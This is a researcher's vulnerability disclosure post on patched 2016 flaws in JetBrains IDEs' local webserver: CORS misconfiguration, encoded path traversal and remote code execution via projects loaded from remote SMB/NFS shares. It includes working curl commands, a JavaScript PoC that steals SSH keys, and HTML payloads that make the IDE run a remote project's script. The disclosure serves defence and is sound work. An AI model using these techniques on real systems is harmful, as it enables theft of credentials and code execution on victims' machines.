TL;DR

From at least 2013 until May 2016 JetBrains’ IDEs were vulnerable to local file leakage, with the Windows (EDIT: and OS X) versions additionally being vulnerable to remote code execution. The only prerequisite for the attack was to have the victim visit an attacker-controlled webpage while the IDE was open.

Affected IDEs included PyCharm, Android Studio, WebStorm, IntelliJ IDEA and several others.

I’ve tracked the core of most of these issues (CORS allowing all origins + always-on webserver) back to the addition of the webserver to WebStorm in 2013. It’s my belief that all JetBrains IDEs with always-on servers since then are vulnerable to variants of these attacks.

The arbitrary code execution vuln affecting Windows and OS X was in all IDE releases since at least July 13, 2015, but was probably exploitable earlier via other means.

All of the issues found were fixed in the patch released May 11th 2016.

Investigation

To follow along with this you’ll need a copy of PyCharm 5.0.4, or an old build of PyCharm 2016.1 since this has been patched for a while now. Obviously you’ll want to do this in a VM.

Initial Discovery

I had just started working on some inter-protocol exploitation research and was looking for some interesting targets. Thinking that I must have some interesting services running on my own device, I ran lsof -P -ITCP | grep LISTEN to see what programs were listening on a local TCP port. I got back:

1 2 3 $ lsof -P -iTCP | grep LISTEN # ... pycharm 4177 user 289u IPv4 0x81a02fb90b4eef47 0t0 TCP localhost:63342 (LISTEN)

Hmm, I’ve used PyCharm as my IDE of choice for a while now, but never noticed that it bound to any ports… Might it be some sort of ad-hoc IPC mechanism? Let’s nmap it to figure out what’s being sent over those ports, and what the protocol is:

1 2 3 4 5 6 7 8 $ nmap -A -p 63342 127.0.0.1 # [...] PORT STATE SERVICE VERSION 63342/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1. SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r

content-type:\x # [...]

Looks like an HTTP server? Unusual for a local application… Let’s see what CORS headers it serves up with responses:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/" > GET / HTTP/1.1 > Host: 127.0.0.1:63342 > User-Agent: curl/7.43.0 > Accept: */* > Origin: http://attacker.com/ > < HTTP/1.1 404 Not Found [...] < access-control-allow-origin: http://attacker.com/ < vary: origin < access-control-allow-credentials: true < access-control-allow-headers: authorization < access-control-allow-headers: origin < access-control-allow-headers: content-type < access-control-allow-headers: accept < * Connection #0 to host 127.0.0.1 left intact <!doctype html><title>404 Not Found</title><h1 style="text-align: center">404 Not Found</h1><hr/><p style="text-align: center">PyCharm 5.0.4</p>

Something smells off here. PyCharm’s HTTP server is essentially saying that web pages on any origin (including http://attacker.com ) are allowed to make credentialed requests to it and read the response. What the heck is this HTTP server, though? Does it serve anything sensitive? Do we even care if random pages are able to read its contents?

What’s that HTTP server?

After searching the web for references to that port number, we find that this is related to a WebStorm feature added in early 2013 (WebStorm is another of JetBrains’ IDEs.) The idea was that you wouldn’t need to set up your own web server to preview your pages in a browser. You could just click a “view in browser” button inside WebStorm and it would navigate your browser to http://localhost:63342/<projectname>/<your_file.html> . Any scripts or subresources that the page tried to include would similarly be served up via URLs like http://localhost:63342/<projectname>/some_script.js . Fancy.

To verify that PyCharm embeds the same server as WebStorm, let’s create a project named “testing” in PyCharm and place a file named “something.txt” in the root and see if we can fetch it:

1 2 3 4 5 6 7 8 9 10 11 12 $ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt" > GET /testing/something.txt HTTP/1.1 > Host: 127.0.0.1:63342 > User-Agent: curl/7.43.0 > Accept: */* > Origin: http://attacker.com/ > < HTTP/1.1 200 OK [...] < access-control-allow-origin: http://attacker.com/ [...] these are the file contents!

Yikes, so any site can read any of your project files so long as they can guess the project name and filename. This would obviously include any in-tree configuration files that contained secrets like AWS keys and the like. Here’s an HTML snippet we could include on attacker.com that would do the same thing as our cURL command:

1 2 3 4 5 6 <script> var xhr = new XMLHttpRequest (); xhr . open ( "GET" , "http://localhost:63342/testing/something.txt" , true ); xhr . onload = function () { alert ( xhr . responseText )}; xhr . send (); </script>

This is pretty bad, but as-is this would mostly be useful for targeted attacks. It’s a pain to have to guess at directory structures to get at the interesting files, so what are some ways we can weaponize this?

Weaponization

Escaping from the project directory

Let’s see if we can read files outside of the project directory. There are some files (like SSH keys, etc) that live at standard locations and are interesting for an attacker. Much more interesting than possible credentials for some database that might not even be accessible to us.

The obvious thing to do is see how it handles dot segments in the request URI:

1 2 $ curl -v "http://localhost:63342/testing/../../../.ssh/id_rsa" * Rebuilt URL to: http://localhost:63342/.ssh/id_rsa

Bah. Per the spec dot segments in paths must be normalized away by either the client or the server. cURL’s behaviour here is the same as you’d see in a browser. Luckily PyCharm’s internal HTTP server treats dot segments with urlencoded / s like %2F..%2F as semantically equivalent to the unencoded /../ form, and browsers will not normalize those away.

1 2 3 4 5 6 7 8 9 10 $ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa" > GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1 [ ... ] > < HTTP/1.1 200 OK < content-type: application/octet-stream < server: PyCharm 5.0.4 [ ... ] < ssh-rsa AAAAB3NzaC [ ... ]

Great success! Our only limitation here is that we must know the name of a project the victim has open. Requesting /invalidproject/<anything> will always 404.

The obvious choice is to use a dictionary of potential project names a user could have open, and try to request /<potential_projectname>/.idea/workspace.xml (which is a metadata file automatically added to most JetBrains projects.)

1 2 3 4 $ curl --head "http://localhost:63342/testing/.idea/workspace.xml" HTTP/1.1 200 OK $ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml" HTTP/1.1 404 Not Found

We got a 200 for testing , so we know it’s a valid project.

A naive PoC for this in JavaScript:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 function findLoadedProject ( cb ) { var xhr = new XMLHttpRequest (); // Let's assume we have a sensible dictionary here. var possibleProjectNames = [ "foobar" , "testing" , "bazquux" ]; var tryNextProject = function () { if ( ! possibleProjectNames . length ) { cb ( null ); return ; } var projectName = possibleProjectNames . pop (); xhr . open ( "GET" , "http://localhost:63342/" + projectName + "/.idea/workspace.xml" , true ); xhr . onload = function () { if ( xhr . status === 200 ) { cb ( projectName ); } else { tryNextProject (); } }; xhr . send (); }; } var findSSHKeys = function ( projectName ) { var xhr = new XMLHttpRequest (); var depth = 0 ; var tryNextDepth = function () { // No luck, SSH directory doesn't share a parent // directory with the project. if ( ++ depth > 15 ) { return ; } // Chances are that both `.ssh` and the project directory are under the user's home folder, // let's try to walk up the dir tree. dotSegs = "..%2f" . repeat ( depth ); xhr . open ( "GET" , "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub" , true ); xhr . onload = function () { if ( xhr . status === 200 ) { console . log ( xhr . responseText ); } else { tryNextDepth (); } }; xhr . send (); } }; findLoadedProject ( function ( projectName ) { if ( projectName ) { console . log ( projectName , "is a valid project, looking for SSH key" ); findSSHKeys ( projectName ); } else { console . log ( "Failed to guess a project name" ); } });

There’s no rate-limiting, and I was able to try about 2000 project names a second using this method with Chrome even on my older laptop.

Can we get around having to guess a project name?

At this point, I started looking at the various APIs that PyCharm exposed via the same webserver. Having to guess a valid, open project name to leak files is a big mitigating factor, and the API might give us a way around that.

Eventually I came upon the /api/internal endpoint, which corresponds to JetBrainsProtocolHandlerHttpService . Apparently this lets you pass in a JSON blob containing a URL with a jetbrains: scheme, and the IDE will do something special with it. As far as I can tell, none of the IDEs actually install a systemwide handler for those URLs, and those URLs are undocumented. In any case, let’s look for some interesting jetbrains: URLs we can pass it.

The jetbrains://<project_name>/open/<path> handler seems promising:

1 2 3 4 5 6 7 8 9 10 11 12 public class JBProtocolOpenProjectCommand extends JBProtocolCommand { public JBProtocolOpenProjectCommand () { super ( "open" ); } @Override public void perform ( String target , Map < String , String > parameters ) { String path = URLDecoder . decode ( target ); path = StringUtil . trimStart ( path , LocalFileSystem . PROTOCOL_PREFIX ); ProjectUtil . openProject ( path , null , true ); } }

This lets us open a project by passing in its absolute path. The /etc directory exists on most *NIX-like systems, let’s try opening that:

1 $ curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'

Dang, so the directory needs to actually contain a JetBrains-style project, we can’t just pass any old directory. Lucky for us, PyCharm 2016.1 and above ship with a JetBrains-style project in their system folder! Under OS X this will be in /Applications/PyCharm.app/Contents/helpers , let’s try that:

1 $ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers"}'

Bingo. Now we don’t have to guess at an open project name as we now know the helpers project is open. There’s no standard location for PyCharm’s root folder under Linux (it’s wherever the user happened to un tar it to,) but we can determine it by reqesting /api/about?more=true and looking at the homePath key:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "name" : "PyCharm 2016.1.2" , "productName" : "PyCharm" , "baselineVersion" : 145 , "buildNumber" : 844 , "vendor" : "JetBrains s.r.o." , "isEAP" : false , "productCode" : "PY" , "buildDate" : 1460098800000 , "isSnapshot" : false , "configPath" : "/home/user/.PyCharm2016.1/config" , "systemPath" : "/home/user/.PyCharm2016.1/system" , "binPath" : "/home/user/opt/pycharm/bin" , "logPath" : "/home/user/.PyCharm2016.1/system/log" , "homePath" : "/home/user/opt/pycharm" }

Once we’ve opened the helpers project, we determine the user’s home directory from the /api/about?more=true response and use that to construct a URL to their SSH keys like /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/<user>/.ssh/id_rsa :

1 2 3 4 5 6 7 8 9 10 $ curl -v "http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa" > GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1 [ ... ] > < HTTP/1.1 200 OK < content-type: application/octet-stream < server: PyCharm 5.0.4 [ ... ] < ssh-rsa AAAAB3NzaC [ ... ]

Exploitation under Windows is much easier

The above trick with opening the helpers directory that ships with PyCharm obviously only works if the user has PyCharm 2016.1 installed, everywhere else we still have to guess an open project name. How about something that works reliably with the other JetBrains IDEs like IntelliJ IDEA and Android Studio?

Since the jetbrains://project/open handler lets us pass a completely arbitrary path for the project to open, UNC paths are an obvious choice. UNC paths are a windows-specific path form that allows you to reference files on a network share, and they like \\servername\sharename\filepath . Many of Windows’ file APIs (and the Java APIs that wrap them) will happily take UNC paths and transparently connect to an SMB share on another computer, allowing you to read and write to the remote files as if they were local. If we can get the IDE to open a project from our SMB share, we won’t need to guess at what projects might be on the victim’s computer.

To test, I set up a remote Samba instance with an unauthenticated SMB share named “anontesting” that contained a JetBrains project, then tried opening it:

1 $ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing"}'

Great. Assuming the victim’s ISP doesn’t block outbound SMB traffic (due to the large number of worms that have historically propagated via SMB vulns) we can get them to load an arbitrary project from an SMB share we control.

The impact under Windows is much worse

Wait a second, seems like we can do something a lot more interesting than arbitrary file reads. With one request we can get Windows users to load an attacker-controlled project from our remote SMB share. There’s almost certainly abuse potential here, and we don’t have to look far to find it.

The projects for each of JetBrains’ IDEs have a notion of startup tasks. In PyCharm you can have a Python script run automatically on project load, and similarly on Android Studio and IntelliJ IDEA you can have a .jar run. Here I’ve made it so that the hax.py script in the project root will be automatically run when the project opens:

Now we just need to add a hax.py file to our project root containing:

1 2 3 import os os . system ( "calc.exe" )

We then put the project on our anonymous SMB share, and host a page with our payload that will cause the victim to load the malicious project:

1 2 3 4 5 <script> var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "http://127.0.0.1:63342/api/internal" , true ); xhr . send ( '{"url": "jetbrains://whatever/open/\\\\\\\\123.456.789.101\\\\anonshare\\\\testing"}' ); </script>

As soon as the victim navigates to that page, our payload will trigger and the calculator will open:

Decent.

Turns out OS X wasn’t any safer

After this post was initially published comex pointed out that OS X will auto-mount remote NFS shares when you access them via the /net autofs mountpoint. That means exploiting the RCE under OS X is pretty similar to Windows, but we create an anonymous NFS share and open /net/<hostname>/<sharename>/<projectname> :

1 $ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'

with the HTML PoC looking something like:

1 2 3 4 5 <script> var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "http://127.0.0.1:63342/api/internal" , true ); xhr . send ( '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}' ); </script>

This likely applies to any *NIX-like with an autofs mountpoint that uses -hosts , but OS X is the only OS I could find where autofs is configured like this in the default install.

PoCs

Minimal file leaking PoC

Weaponized file leaking PoC

No live PoC for the Windows or OS X RCEs ‘cause I don’t want to host public-facing SMB or NFS shares :)

Remediation

JetBrains took several steps that I’m aware of to remediate this:

All requests to the local HTTP server now require an unguessable auth token to be included in the request, or the server will return a 4xx status code.

status code. The problematic CORS policies were removed entirely

The Host header’s value is now validated to prevent similar exploits via DNS rebinding

Vendor response

Interactions with the vendor

I’d like to specifically thank Hadi Hariri and the rest of the JetBrains team for their proactive response to my report. My email requesting a security contact was answered within an hour of my sending it, and the issue was resolved relatively quickly.

They sent me a patchset against intellij-community and a binary build with their proposed solutions, and were receptive to my feedback when I mentioned potential issues.

Lastly, even though Jetbrains doesn’t have a bug bounty program that I’m aware of, and I definitely wasn’t expecting anything, Jetbrains quite generously awarded a bounty of $50,000 for my report and help reviewing the patch. I’ve asked them to donate the bulk of this to the PyPy project to fund improved Python 3 support, fingers crossed for await/async support in PyPy :).

Disclosure Timeline